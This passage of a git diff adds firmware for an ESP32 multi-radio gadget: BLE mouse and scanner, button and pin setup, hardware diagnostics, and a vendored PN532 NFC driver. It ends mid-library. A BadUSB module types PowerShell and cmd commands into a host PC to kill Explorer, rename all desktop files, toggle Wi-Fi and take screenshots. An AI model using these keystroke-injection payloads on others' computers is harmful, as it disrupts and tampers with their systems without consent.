case 26: // Turn off monitor (Windows only) + showRunningScreen("turn off monitor"); + runCommand("powershell"); + delay(500); + Keyboard.print( + "(Add-Type '[DllImport(\"user32.dll\")]public static extern int " + "SendMessage(int hWnd, int hMsg, int wParam, int lParam);' -Name a " + "-Pas)::SendMessage(-1,0x0112,0xF170,2)"); + Keyboard.write(KEY_RETURN); + break; + + case 27: // RegEdit + showRunningScreen("regedit"); + runCommand("regedit"); + break; + + case 28: // Kill Explorer + showRunningScreen(" kill explorer"); + runCommand("taskkill /f /im explorer.exe"); + break; + + case 29: // Flash screen (by changing background rapidly) + showRunningScreen(" flash screen"); + for (int i = 0; i < 10; i++) { + runCommand("color 4F"); + delay(200); + runCommand("color 1F"); + delay(200); + } + break; + + case 30: // Rename Desktop Files (basic prank) + + showRunningScreen("rename desktop files"); + runCommand("powershell"); + delay(500); + Keyboard.print("Get-ChildItem \"$env:USERPROFILE\\Desktop\" | " + "Rename-Item -NewName {'hacked'+$_.Name}"); + Keyboard.write(KEY_RETURN); + break; + + case 31: // Toggle WiFi (requires admin) + showRunningScreen("toggle wifi"); + runCommand("cmd"); + delay(500); + Keyboard.print("netsh interface set interface Wi-Fi disabled"); + Keyboard.write(KEY_RETURN); + delay(1000); + Keyboard.print("netsh interface set interface Wi-Fi enabled"); + Keyboard.write(KEY_RETURN); + break; + + case 32: // Screenshot + showRunningScreen("screenshot"); + runCommand("powershell"); + delay(500); + Keyboard.print("Add-Type -AssemblyName System.Windows.Forms;"); + Keyboard.write(KEY_RETURN); + delay(300); + Keyboard.print("[System.Windows.Forms.SendKeys]::SendWait('%{PRTSC}')"); + Keyboard.write(KEY_RETURN); + break; + + case 33: // Emoji spam + showRunningScreen("emoji spam"); + for (int i = 0; i < 10; i++) { + Keyboard.print("💀"); + Keyboard.write(KEY_RETURN); + delay(500); + } + break; + + case 34: // Control Panel + showRunningScreen("control panel"); + runCommand("control"); + break; + + case 35: // Troll wallpaper + showRunningScreen("troll wallpaper"); + runCommand("cmd"); + delay(500); + Keyboard.print("start https://i.imgur.com/trollface.png"); + Keyboard.write(KEY_RETURN); + break; + + case 36: // MS Paint + showRunningScreen("ms paint"); + runCommand("mspaint"); + break; + + case 37: // Auto Tab Switcher + showRunningScreen(" auto tab switcher"); + for (int i = 0; i < 10; i++) { + Keyboard.press(KEY_LEFT_CTRL); + Keyboard.press(KEY_TAB); + delay(100); + Keyboard.releaseAll(); + delay(300); + } + break; +} +} + + diff --git a/src/badusb.h b/src/badusb.h new file mode 100644 index 0000000..a3390ec --- /dev/null +++ b/src/badusb.h @@ -0,0 +1,5 @@ +#pragma once + +void badUSBMenu(int index); +void showRunningScreen(String taskName, uint8_t duration); +void runCommand(const char *command); diff --git a/src/ble_mouse.cpp b/src/ble_mouse.cpp new file mode 100644 index 0000000..0035eb5 --- /dev/null +++ b/src/ble_mouse.cpp @@ -0,0 +1,74 @@ +#include +#include +#include "badusb.h" +#include "config.h" + +#include "buttons.h" +#include "ui/display.h" + +// ===== BLE MOUSE ===== +// BleMouse bleMouse("Orion-RF", "Orion-RF", 100); +extern BleMouse bleMouse; + +// ===== MAIN ===== +void ble_mouse_run() +{ + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(10, 25, "BLE Mouse"); + u8g2.drawStr(10, 45, "Connecting..."); + u8g2.sendBuffer(); + + delay(800); + + while (1) + { + // 🔥 EXIT FIRST (clean) + if (btnBack()) break; + + bool connected = bleMouse.isConnected(); + + int dx = 0; + int dy = 0; + + if (connected) + { + if (!digitalRead(BTN_UP)) dy = -6; + if (!digitalRead(BTN_DOWN)) dy = 6; + if (!digitalRead(BTN_LEFT)) dx = -6; + if (!digitalRead(BTN_RIGHT)) dx = 6; + + if (dx || dy) + bleMouse.move(dx, dy); + + // ✅ single click (not spam) + static bool lastSelect = false; + bool currentSelect = !digitalRead(BTN_SELECT); + + if (currentSelect && !lastSelect) + bleMouse.click(MOUSE_LEFT); + + lastSelect = currentSelect; + } + + // ===== UI ===== + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + + u8g2.drawStr(10, 20, "BLE Mouse"); + + if (connected) + u8g2.drawStr(10, 35, "Connected"); + else + u8g2.drawStr(10, 35, "Waiting"); + + u8g2.drawStr(10, 55, "BACK = Exit"); + + u8g2.sendBuffer(); + + delay(10); // important for BLE stability + } +} + + + diff --git a/src/ble_mouse.h b/src/ble_mouse.h new file mode 100644 index 0000000..fc6a4cc --- /dev/null +++ b/src/ble_mouse.h @@ -0,0 +1,3 @@ +#pragma once + +void ble_mouse_run(); diff --git a/src/blescanner.cpp b/src/blescanner.cpp new file mode 100644 index 0000000..ba12568 --- /dev/null +++ b/src/blescanner.cpp @@ -0,0 +1,209 @@ +#include +#include +#include +#include +#include + +#include "ui/display.h" +#include "buttons.h" +#include "config.h" + +// ===== DEVICE STRUCT ===== +struct BLEDeviceInfo { + String name; + String address; + int rssi; + String manufacturer; + String deviceType; +}; + +static std::vector devices; +static BLEScan *pBLEScan; +static int selectedIndex = 0; + +// ===== CALLBACK ===== +class MyAdvertisedDeviceCallbacks : public BLEAdvertisedDeviceCallbacks { + void onResult(BLEAdvertisedDevice advertisedDevice) override { + BLEDeviceInfo dev; + + String tempName = advertisedDevice.getName().c_str(); + + if (tempName.length() == 0 && advertisedDevice.haveServiceData()) { + tempName = advertisedDevice.getServiceData().c_str(); + } + + if (tempName.length() == 0) { + String addr = advertisedDevice.getAddress().toString().c_str(); + tempName = "BLE_" + addr.substring(addr.length() - 5); + } + + dev.name = tempName; + dev.address = advertisedDevice.getAddress().toString().c_str(); + dev.rssi = advertisedDevice.getRSSI(); + + if (advertisedDevice.haveManufacturerData()) { + String mData = advertisedDevice.getManufacturerData().c_str(); + + if (mData.length() >= 2) { + char buffer[10]; + sprintf(buffer, "0x%02X%02X", + (uint8_t)mData[1], + (uint8_t)mData[0]); + dev.manufacturer = String(buffer); + } else { + dev.manufacturer = "unknown"; + } + } else { + dev.manufacturer = "unknown"; + } + + if (advertisedDevice.haveServiceUUID()) { + dev.deviceType = + advertisedDevice.getServiceUUID().toString().c_str(); + } else { + dev.deviceType = "unknown"; + } + + devices.push_back(dev); + } +}; + +// ===== DRAW MENU ===== +void ble_drawMenu() +{ + u8g2.clearBuffer(); + + if (devices.empty()) + { + u8g2.setFont(u8g2_font_6x12_tr); + u8g2.drawStr(0, 30, "No devices"); + u8g2.drawStr(0, 45, "Press BACK"); + } + else + { + u8g2.setFont(u8g2_font_5x8_tr); + + char counter[20]; + sprintf(counter, "%d/%d", selectedIndex + 1, (int)devices.size()); + u8g2.drawStr(0, 8, counter); + + u8g2.setFont(u8g2_font_6x10_tr); + + for (int i = 0; i < 3; i++) + { + int idx = selectedIndex + i; + if (idx >= devices.size()) break; + + int y = 22 + i * 14; + + if (i == 0) + { + u8g2.drawBox(0, y - 10, 128, 12); + u8g2.setDrawColor(0); + } + + String text = devices[idx].name; + if (text.length() > 12) + text = text.substring(0, 12) + ".."; + + text += " (" + String(devices[idx].rssi) + ")"; + + u8g2.drawStr(2, y, text.c_str()); + + if (i == 0) + u8g2.setDrawColor(1); + } + } + + u8g2.sendBuffer(); +} + +// ===== DEVICE DETAILS ===== +void ble_drawDetails(const BLEDeviceInfo &dev) +{ + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_5x8_tr); + + u8g2.drawStr(0, 10, dev.name.c_str()); + u8g2.drawStr(0, 20, dev.address.c_str()); + + char rssiStr[20]; + sprintf(rssiStr, "RSSI: %d", dev.rssi); + u8g2.drawStr(0, 30, rssiStr); + + u8g2.drawStr(0, 40, dev.manufacturer.c_str()); + + u8g2.sendBuffer(); +} + +// ===== SCAN ===== +void ble_scan() +{ + devices.clear(); + + u8g2.clearBuffer(); + u8g2.drawStr(10, 30, "Scanning..."); + u8g2.sendBuffer(); + + BLEDevice::init(""); + + pBLEScan = BLEDevice::getScan(); + pBLEScan->setAdvertisedDeviceCallbacks(new MyAdvertisedDeviceCallbacks(), false); + pBLEScan->setActiveScan(true); + pBLEScan->setInterval(100); + pBLEScan->setWindow(99); + + pBLEScan->start(5, false); + + // remove duplicates + std::vector unique; + for (auto &d : devices) + { + bool exists = false; + for (auto &u : unique) + { + if (u.address == d.address) + { + exists = true; + break; + } + } + if (!exists) unique.push_back(d); + } + + devices = unique; +} + +// ===== MAIN LOOP ===== +void ble_loop() +{ + static uint32_t lastPress = 0; + + if (millis() - lastPress < 200) + return; + + if (btnDown() && selectedIndex < (int)devices.size() - 1) + { + selectedIndex++; + ble_drawMenu(); + lastPress = millis(); + } + else if (btnUp() && selectedIndex > 0) + { + selectedIndex--; + ble_drawMenu(); + lastPress = millis(); + } + else if (btnSelect() && !devices.empty()) + { + ble_drawDetails(devices[selectedIndex]); + delay(3000); + ble_drawMenu(); + lastPress = millis(); + } + else if (btnBack()) + { + lastPress = millis(); + return; + } +} diff --git a/src/blescanner.h b/src/blescanner.h new file mode 100644 index 0000000..a642de2 --- /dev/null +++ b/src/blescanner.h @@ -0,0 +1,5 @@ +#pragma once + +void ble_scan(); +void ble_loop(); +void ble_drawMenu(); diff --git a/src/buttons.cpp b/src/buttons.cpp new file mode 100644 index 0000000..27ce40b --- /dev/null +++ b/src/buttons.cpp @@ -0,0 +1,20 @@ +#include "buttons.h" +#include +#include "config.h" + +void buttonsInit() +{ + pinMode(BTN_UP, INPUT_PULLUP); + pinMode(BTN_DOWN, INPUT_PULLUP); + pinMode(BTN_SELECT, INPUT_PULLUP); + pinMode(BTN_BACK, INPUT_PULLUP); + pinMode(BTN_RIGHT, INPUT_PULLUP); + pinMode(BTN_LEFT, INPUT_PULLUP); +} + +bool btnUp() { return !digitalRead(BTN_UP); } +bool btnDown() { return !digitalRead(BTN_DOWN); } +bool btnSelect() { return !digitalRead(BTN_SELECT); } +bool btnBack() { return !digitalRead(BTN_BACK); } +bool btnRight() { return !digitalRead(BTN_RIGHT); } +bool btnLeft() { return !digitalRead(BTN_LEFT); } diff --git a/src/buttons.h b/src/buttons.h new file mode 100644 index 0000000..cfa9fa3 --- /dev/null +++ b/src/buttons.h @@ -0,0 +1,10 @@ +#pragma once + +void buttonsInit(); + +bool btnUp(); +bool btnDown(); +bool btnSelect(); +bool btnBack(); +bool btnRight(); +bool btnLeft(); diff --git a/src/config.h b/src/config.h new file mode 100644 index 0000000..3cb47b5 --- /dev/null +++ b/src/config.h @@ -0,0 +1,48 @@ +#pragma once + +// ================= NRF24 ================= +#define CE1_PIN 10 +#define CSN1_PIN 11 + +#define CE2_PIN 12 +#define CSN2_PIN 13 + +#define NRF_SCK 18 +#define NRF_MISO 16 +#define NRF_MOSI 17 + +// ================== OLED =================== +#define OLED_SDA_PIN 8 +#define OLED_SCL_PIN 9 + +/////////////////cc1101 vars////////////// +// CC1101 via FSPI +#define cc1101_SCK 15 +#define cc1101_MISO 3 +#define cc1101_MOSI 35 + +//////////////cc1101(1)////////// +#define CC1101_CS 45 +#define CC1101_GDO0 21 +#define CC1101_GDO2 47 + +/////////////cc1101(2)////////// +#define CC1101_2_CS 40 +#define CC1101_2_GDO0 41 +#define CC1101_2_GDO2 42 + +// SD Card via HSPI +#define SD_SCK 14 +#define SD_MISO 39 +#define SD_MOSI 38 +#define SD_CS 37 + + +// =================== Buttons ==================== +#define BTN_UP 4 +#define BTN_DOWN 5 +#define BTN_SELECT 6 +#define BTN_BACK 7 +#define BTN_LEFT 1 +#define BTN_RIGHT 2 + diff --git a/src/device_check.cpp b/src/device_check.cpp new file mode 100644 index 0000000..adebe48 --- /dev/null +++ b/src/device_check.cpp @@ -0,0 +1,207 @@ +#include +#include +#include +#include +#include "libs/ELECHOUSE_CC1101_SRC_DRV.h" + +#include "ui/display.h" +#include "buttons.h" +#include "config.h" + +// ===== EXTERNALS ===== +extern RF24 radio1; +extern RF24 radio2; +extern SPIClass *RADIO_SPI; +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +// ===== RESULTS ===== +struct DeviceStatus { + bool nrf1 = false; + bool nrf2 = false; + bool cc1101_1 = false; + bool cc1101_2 = false; + bool oled = true; + bool buttons = false; +}; + +// ===== NRF CHECK ===== +//bool checkNRF(RF24 &radio) +//{ +// // safer: only init if needed +// if (!radio.isChipConnected()) { +// if (!radio.begin(RADIO_SPI)) +// return false; +// } +// +// return radio.isChipConnected(); +//} + +bool checkNRF(RF24 &radio) +{ + radio.powerDown(); + delay(5); + + if (!radio.begin(RADIO_SPI)) + return false; + + delay(5); + + return radio.isChipConnected(); +} + +// ===== CC1101 CHECK ===== +bool checkCC1101(uint8_t csPin) +{ + ELECHOUSE_cc1101.setSpiPin( + cc1101_SCK, + cc1101_MISO, + cc1101_MOSI, + csPin + ); + + delay(5); + + return ELECHOUSE_cc1101.getCC1101(); +} + +// ===== BUTTON CHECK ===== +bool checkButtons() +{ + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 20, "Press any button..."); + u8g2.sendBuffer(); + + unsigned long start = millis(); + + while (millis() - start < 2000) + { + if (!digitalRead(BTN_UP) || + !digitalRead(BTN_DOWN) || + !digitalRead(BTN_SELECT) || + !digitalRead(BTN_BACK) || + !digitalRead(BTN_RIGHT) || + !digitalRead(BTN_LEFT)) + { + return true; + } + } + + return false; +} + +// ===== DRAW ===== +#define MAX_ITEMS 6 +#define VISIBLE_ROWS 5 + +const char* labels[MAX_ITEMS] = { + "NRF1", + "NRF2", + "CC1101-1", + "CC1101-2", + "BUTTONS", + "OLED" +}; + +bool values[MAX_ITEMS]; + +int selectedIndex = 0; +int offset = 0; + +void drawStatus(DeviceStatus &s) +{ + values[0] = s.nrf1; + values[1] = s.nrf2; + values[2] = s.cc1101_1; + values[3] = s.cc1101_2; + values[4] = s.buttons; + values[5] = s.oled; + + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + + // scrolling logic + if (selectedIndex < offset) + offset = selectedIndex; + + if (selectedIndex >= offset + VISIBLE_ROWS) + offset = selectedIndex - VISIBLE_ROWS + 1; + + for (int i = 0; i < VISIBLE_ROWS; i++) + { + int item = offset + i; + if (item >= MAX_ITEMS) break; + + int y = 12 + i * 10; + + if (item == selectedIndex) + { + u8g2.drawBox(0, y - 9, 128, 10); + u8g2.setDrawColor(0); + } + + u8g2.drawStr(2, y, labels[item]); + + if (values[item]) + u8g2.drawStr(80, y, "OK"); + else + u8g2.drawStr(80, y, "FAIL"); + + if (item == selectedIndex) + u8g2.setDrawColor(1); + } + + u8g2.sendBuffer(); +} + +// ===== MAIN ===== +void device_check_run() +{ + DeviceStatus status; + + Serial.println("Running device diagnostics..."); + + // NRF + status.nrf1 = checkNRF(radio1); + status.nrf2 = checkNRF(radio2); + + // CC1101 + status.cc1101_1 = checkCC1101(CC1101_CS); + status.cc1101_2 = checkCC1101(CC1101_2_CS); + //status.cc1101_1 = status.cc1101_2 = false; + + // Buttons + status.buttons = checkButtons(); + + drawStatus(status); + + Serial.println("Diagnostics complete"); + + while (1) +{ + drawStatus(status); + + if (btnUp()) + { + selectedIndex--; + if (selectedIndex < 0) selectedIndex = MAX_ITEMS - 1; + delay(150); + } + + if (btnDown()) + { + selectedIndex++; + if (selectedIndex >= MAX_ITEMS) selectedIndex = 0; + delay(150); + } + + if (btnBack()) + { + delay(150); + break; + } +}} + + + diff --git a/src/device_check.h b/src/device_check.h new file mode 100644 index 0000000..3d6b250 --- /dev/null +++ b/src/device_check.h @@ -0,0 +1,3 @@ +#pragma once + +void device_check_run(); diff --git a/src/libs/Adafruit_PN532.cpp b/src/libs/Adafruit_PN532.cpp new file mode 100644 index 0000000..4665656 --- /dev/null +++ b/src/libs/Adafruit_PN532.cpp @@ -0,0 +1,1820 @@ +/**************************************************************************/ +/*! + @file Adafruit_PN532.cpp + + @section intro_sec Introduction + + Driver for NXP's PN532 NFC/13.56MHz RFID Transceiver + + This is a library for the Adafruit PN532 NFC/RFID breakout boards + This library works with the Adafruit NFC breakout + ----> https://www.adafruit.com/products/364 + + Check out the links above for our tutorials and wiring diagrams + These chips use SPI or I2C to communicate. + + Adafruit invests time and resources providing this open source code, + please support Adafruit and open-source hardware by purchasing + products from Adafruit! + + @section author Author + + Adafruit Industries + + @section license License + + BSD (see license.txt) + + @section HISTORY + + v2.2 - Added startPassiveTargetIDDetection() to start card detection and + readDetectedPassiveTargetID() to read it, useful when using the + IRQ pin. + + v2.1 - Added NTAG2xx helper functions + + v2.0 - Refactored to add I2C support from Adafruit_NFCShield_I2C library. + + v1.4 - Added setPassiveActivationRetries() + + v1.2 - Added writeGPIO() + - Added readGPIO() + + v1.1 - Changed readPassiveTargetID() to handle multiple UID sizes + - Added the following helper functions for text display + static void PrintHex(const byte * data, const uint32_t numBytes) + static void PrintHexChar(const byte * pbtData, const uint32_t + numBytes) + - Added the following Mifare Classic functions: + bool mifareclassic_IsFirstBlock (uint32_t uiBlock) + bool mifareclassic_IsTrailerBlock (uint32_t uiBlock) + uint8_t mifareclassic_AuthenticateBlock (uint8_t * uid, uint8_t + uidLen, uint32_t blockNumber, uint8_t keyNumber, uint8_t * keyData) uint8_t + mifareclassic_ReadDataBlock (uint8_t blockNumber, uint8_t * data) uint8_t + mifareclassic_WriteDataBlock (uint8_t blockNumber, uint8_t * data) + - Added the following Mifare Ultalight functions: + uint8_t mifareultralight_ReadPage (uint8_t page, uint8_t * buffer) +*/ +/**************************************************************************/ + +#include "Adafruit_PN532.h" + +byte pn532ack[] = {0x00, 0x00, 0xFF, + 0x00, 0xFF, 0x00}; ///< ACK message from PN532 +byte pn532response_firmwarevers[] = { + 0x00, 0x00, 0xFF, + 0x06, 0xFA, 0xD5}; ///< Expected firmware version message from PN532 + +// Uncomment these lines to enable debug output for PN532(SPI) and/or MIFARE +// related code + +// #define PN532DEBUG +// #define MIFAREDEBUG + +// If using Native Port on Arduino Zero or Due define as SerialUSB +#define PN532DEBUGPRINT Serial ///< Fixed name for debug Serial instance +// #define PN532DEBUGPRINT SerialUSB ///< Fixed name for debug Serial instance + +#define PN532_PACKBUFFSIZ 64 ///< Packet buffer size in bytes +byte pn532_packetbuffer[PN532_PACKBUFFSIZ]; ///< Packet buffer used in various + ///< transactions + +/**************************************************************************/ +/*! + @brief Instantiates a new PN532 class using software SPI. + + @param clk SPI clock pin (SCK) + @param miso SPI MISO pin + @param mosi SPI MOSI pin + @param ss SPI chip select pin (CS/SSEL) +*/ +/**************************************************************************/ +Adafruit_PN532::Adafruit_PN532(uint8_t clk, uint8_t miso, uint8_t mosi, + uint8_t ss) { + _cs = ss; + spi_dev = new Adafruit_SPIDevice(ss, clk, miso, mosi, 1000000, + SPI_BITORDER_LSBFIRST, SPI_MODE0); +} + +/**************************************************************************/ +/*! + @brief Instantiates a new PN532 class using I2C. + + @param irq Location of the IRQ pin + @param reset Location of the RSTPD_N pin + @param theWire pointer to I2C bus to use +*/ +/**************************************************************************/ +Adafruit_PN532::Adafruit_PN532(uint8_t irq, uint8_t reset, TwoWire *theWire) + : _irq(irq), _reset(reset) { + pinMode(_irq, INPUT); + pinMode(_reset, OUTPUT); + i2c_dev = new Adafruit_I2CDevice(PN532_I2C_ADDRESS, theWire); +} + +/**************************************************************************/ +/*! + @brief Instantiates a new PN532 class using hardware SPI. + + @param ss SPI chip select pin (CS/SSEL) + @param theSPI pointer to the SPI bus to use +*/ +/**************************************************************************/ +Adafruit_PN532::Adafruit_PN532(uint8_t ss, SPIClass *theSPI) { + _cs = ss; + spi_dev = new Adafruit_SPIDevice(ss, 1000000, SPI_BITORDER_LSBFIRST, + SPI_MODE0, theSPI); +} + +/**************************************************************************/ +/*! + @brief Instantiates a new PN532 class using hardware UART (HSU). + + @param reset Location of the RSTPD_N pin + @param theSer pointer to HardWare Serial bus to use +*/ +/**************************************************************************/ +Adafruit_PN532::Adafruit_PN532(uint8_t reset, HardwareSerial *theSer) + : _reset(reset) { + pinMode(_reset, OUTPUT); + ser_dev = theSer; +} + +/**************************************************************************/ +/*! + @brief Setups the HW + + @returns true if successful, otherwise false +*/ +/**************************************************************************/ +bool Adafruit_PN532::begin() { + if (spi_dev) { + // SPI initialization + if (!spi_dev->begin()) { + return false; + } + } else if (i2c_dev) { + // I2C initialization + // PN532 will fail address check since its asleep, so suppress + if (!i2c_dev->begin(false)) { + return false; + } + } else if (ser_dev) { + ser_dev->begin(115200); + // clear out anything in read buffer + while (ser_dev->available()) + ser_dev->read(); + } else { + // no interface specified + return false; + } + reset(); // HW reset - put in known state + delay(10); + wakeup(); // hey! wakeup! + return true; +} + +/**************************************************************************/ +/*! + @brief Perform a hardware reset. Requires reset pin to have been provided. +*/ +/**************************************************************************/ +void Adafruit_PN532::reset(void) { + // see Datasheet p.209, Fig.48 for timings + if (_reset != -1) { + digitalWrite(_reset, LOW); + delay(1); // min 20ns + digitalWrite(_reset, HIGH); + delay(2); // max 2ms + } +} + +/**************************************************************************/ +/*! + @brief Wakeup from LowVbat mode into Normal Mode. +*/ +/**************************************************************************/ +void Adafruit_PN532::wakeup(void) { + // interface specific wakeups - each one is unique! + if (spi_dev) { + // hold CS low for 2ms + digitalWrite(_cs, LOW); + delay(2); + } else if (ser_dev) { + uint8_t w[3] = {0x55, 0x00, 0x00}; + ser_dev->write(w, 3); + delay(2); + } + + // PN532 will clock stretch I2C during SAMConfig as a "wakeup" + + // need to config SAM to stay in Normal Mode + SAMConfig(); +} + +/**************************************************************************/ +/*! + @brief Prints a hexadecimal value in plain characters + + @param data Pointer to the byte data + @param numBytes Data length in bytes +*/ +/**************************************************************************/ +void Adafruit_PN532::PrintHex(const byte *data, const uint32_t numBytes) { + uint32_t szPos; + for (szPos = 0; szPos < numBytes; szPos++) { + PN532DEBUGPRINT.print(F("0x")); + // Append leading 0 for small values + if (data[szPos] <= 0xF) + PN532DEBUGPRINT.print(F("0")); + PN532DEBUGPRINT.print(data[szPos] & 0xff, HEX); + if ((numBytes > 1) && (szPos != numBytes - 1)) { + PN532DEBUGPRINT.print(F(" ")); + } + } + PN532DEBUGPRINT.println(); +} + +/**************************************************************************/ +/*! + @brief Prints a hexadecimal value in plain characters, along with + the char equivalents in the following format + + 00 00 00 00 00 00 ...... + + @param data Pointer to the byte data + @param numBytes Data length in bytes +*/ +/**************************************************************************/ +void Adafruit_PN532::PrintHexChar(const byte *data, const uint32_t numBytes) { + uint32_t szPos; + for (szPos = 0; szPos < numBytes; szPos++) { + // Append leading 0 for small values + if (data[szPos] <= 0xF) + PN532DEBUGPRINT.print(F("0")); + PN532DEBUGPRINT.print(data[szPos], HEX); + if ((numBytes > 1) && (szPos != numBytes - 1)) { + PN532DEBUGPRINT.print(F(" ")); + } + } + PN532DEBUGPRINT.print(F(" ")); + for (szPos = 0; szPos < numBytes; szPos++) { + if (data[szPos] <= 0x1F) + PN532DEBUGPRINT.print(F(".")); + else + PN532DEBUGPRINT.print((char)data[szPos]); + } + PN532DEBUGPRINT.println(); +} + +/**************************************************************************/ +/*! + @brief Checks the firmware version of the PN5xx chip + + @returns The chip's firmware version and ID +*/ +/**************************************************************************/ +uint32_t Adafruit_PN532::getFirmwareVersion(void) { + uint32_t response; + + pn532_packetbuffer[0] = PN532_COMMAND_GETFIRMWAREVERSION; + + if (!sendCommandCheckAck(pn532_packetbuffer, 1)) { + return 0; + } + + // read data packet + readdata(pn532_packetbuffer, 13); + + // check some basic stuff + if (0 != memcmp((char *)pn532_packetbuffer, + (char *)pn532response_firmwarevers, 6)) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println(F("Firmware doesn't match!")); +#endif + return 0; + } + + int offset = 7; + response = pn532_packetbuffer[offset++]; + response <<= 8; + response |= pn532_packetbuffer[offset++]; + response <<= 8; + response |= pn532_packetbuffer[offset++]; + response <<= 8; + response |= pn532_packetbuffer[offset++]; + + return response; +} + +/**************************************************************************/ +/*! + @brief Sends a command and waits a specified period for the ACK + + @param cmd Pointer to the command buffer + @param cmdlen The size of the command in bytes + @param timeout timeout before giving up + + @returns 1 if everything is OK, 0 if timeout occured before an + ACK was recieved +*/ +/**************************************************************************/ +// default timeout of one second +bool Adafruit_PN532::sendCommandCheckAck(uint8_t *cmd, uint8_t cmdlen, + uint16_t timeout) { + + // I2C works without using IRQ pin by polling for RDY byte + // seems to work best with some delays between transactions + uint8_t SLOWDOWN = 0; + if (i2c_dev || spi_dev) // SPI and I2C need 1ms slow for page reads + SLOWDOWN = 1; + + // write the command + writecommand(cmd, cmdlen); + + // I2C TUNING + delay(SLOWDOWN); + + // Wait for chip to say its ready! + if (!waitready(timeout)) { + return false; + } + +#ifdef PN532DEBUG + if (spi_dev == NULL) { + PN532DEBUGPRINT.println(F("IRQ received")); + } +#endif + + // read acknowledgement + if (!readack()) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println(F("No ACK frame received!")); +#endif + return false; + } + + // I2C TUNING + delay(SLOWDOWN); + + // Wait for chip to say its ready! + if (!waitready(timeout)) { + return false; + } + + return true; // ack'd command +} + +/**************************************************************************/ +/*! + @brief Writes an 8-bit value that sets the state of the PN532's GPIO + pins. + @param pinstate P3 pins state. + + @warning This function is provided exclusively for board testing and + is dangerous since it will throw an error if any pin other + than the ones marked "Can be used as GPIO" are modified! All + pins that can not be used as GPIO should ALWAYS be left high + (value = 1) or the system will become unstable and a HW reset + will be required to recover the PN532. + + pinState[0] = P30 Can be used as GPIO + pinState[1] = P31 Can be used as GPIO + pinState[2] = P32 *** RESERVED (Must be 1!) *** + pinState[3] = P33 Can be used as GPIO + pinState[4] = P34 *** RESERVED (Must be 1!) *** + pinState[5] = P35 Can be used as GPIO + + @return 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +bool Adafruit_PN532::writeGPIO(uint8_t pinstate) { + // uint8_t errorbit; + + // Make sure pinstate does not try to toggle P32 or P34 + pinstate |= (1 << PN532_GPIO_P32) | (1 << PN532_GPIO_P34); + + // Fill command buffer + pn532_packetbuffer[0] = PN532_COMMAND_WRITEGPIO; + pn532_packetbuffer[1] = PN532_GPIO_VALIDATIONBIT | pinstate; // P3 Pins + pn532_packetbuffer[2] = 0x00; // P7 GPIO Pins (not used ... taken by SPI) + +#ifdef PN532DEBUG + PN532DEBUGPRINT.print(F("Writing P3 GPIO: ")); + PN532DEBUGPRINT.println(pn532_packetbuffer[1], HEX); +#endif + + // Send the WRITEGPIO command (0x0E) + if (!sendCommandCheckAck(pn532_packetbuffer, 3)) + return 0x0; + + // Read response packet (00 FF PLEN PLENCHECKSUM D5 CMD+1(0x0F) DATACHECKSUM + // 00) + readdata(pn532_packetbuffer, 8); + +#ifdef PN532DEBUG + PN532DEBUGPRINT.print(F("Received: ")); + PrintHex(pn532_packetbuffer, 8); + PN532DEBUGPRINT.println(); +#endif + + int offset = 6; + return (pn532_packetbuffer[offset] == 0x0F); +} + +/**************************************************************************/ +/*! + Reads the state of the PN532's GPIO pins + + @returns An 8-bit value containing the pin state where: + + pinState[0] = P30 + pinState[1] = P31 + pinState[2] = P32 + pinState[3] = P33 + pinState[4] = P34 + pinState[5] = P35 +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::readGPIO(void) { + pn532_packetbuffer[0] = PN532_COMMAND_READGPIO; + + // Send the READGPIO command (0x0C) + if (!sendCommandCheckAck(pn532_packetbuffer, 1)) + return 0x0; + + // Read response packet (00 FF PLEN PLENCHECKSUM D5 CMD+1(0x0D) P3 P7 IO1 + // DATACHECKSUM 00) + readdata(pn532_packetbuffer, 11); + + /* READGPIO response should be in the following format: + + byte Description + ------------- ------------------------------------------ + b0..5 Frame header and preamble (with I2C there is an extra 0x00) + b6 P3 GPIO Pins + b7 P7 GPIO Pins (not used ... taken by SPI) + b8 Interface Mode Pins (not used ... bus select pins) + b9..10 checksum */ + + int p3offset = 7; + +#ifdef PN532DEBUG + PN532DEBUGPRINT.print(F("Received: ")); + PrintHex(pn532_packetbuffer, 11); + PN532DEBUGPRINT.println(); + PN532DEBUGPRINT.print(F("P3 GPIO: 0x")); + PN532DEBUGPRINT.println(pn532_packetbuffer[p3offset], HEX); + PN532DEBUGPRINT.print(F("P7 GPIO: 0x")); + PN532DEBUGPRINT.println(pn532_packetbuffer[p3offset + 1], HEX); + PN532DEBUGPRINT.print(F("IO GPIO: 0x")); + PN532DEBUGPRINT.println(pn532_packetbuffer[p3offset + 2], HEX); + // Note: You can use the IO GPIO value to detect the serial bus being used + switch (pn532_packetbuffer[p3offset + 2]) { + case 0x00: // Using UART + PN532DEBUGPRINT.println(F("Using UART (IO = 0x00)")); + break; + case 0x01: // Using I2C + PN532DEBUGPRINT.println(F("Using I2C (IO = 0x01)")); + break; + case 0x02: // Using SPI + PN532DEBUGPRINT.println(F("Using SPI (IO = 0x02)")); + break; + } +#endif + + return pn532_packetbuffer[p3offset]; +} + +/**************************************************************************/ +/*! + @brief Configures the SAM (Secure Access Module) + @return true on success, false otherwise. +*/ +/**************************************************************************/ +bool Adafruit_PN532::SAMConfig(void) { + pn532_packetbuffer[0] = PN532_COMMAND_SAMCONFIGURATION; + pn532_packetbuffer[1] = 0x01; // normal mode; + pn532_packetbuffer[2] = 0x14; // timeout 50ms * 20 = 1 second + pn532_packetbuffer[3] = 0x01; // use IRQ pin! + + if (!sendCommandCheckAck(pn532_packetbuffer, 4)) + return false; + + // read data packet + readdata(pn532_packetbuffer, 9); + + int offset = 6; + return (pn532_packetbuffer[offset] == 0x15); +} + +/**************************************************************************/ +/*! + Sets the MxRtyPassiveActivation byte of the RFConfiguration register + + @param maxRetries 0xFF to wait forever, 0x00..0xFE to timeout + after mxRetries + + @returns 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +bool Adafruit_PN532::setPassiveActivationRetries(uint8_t maxRetries) { + 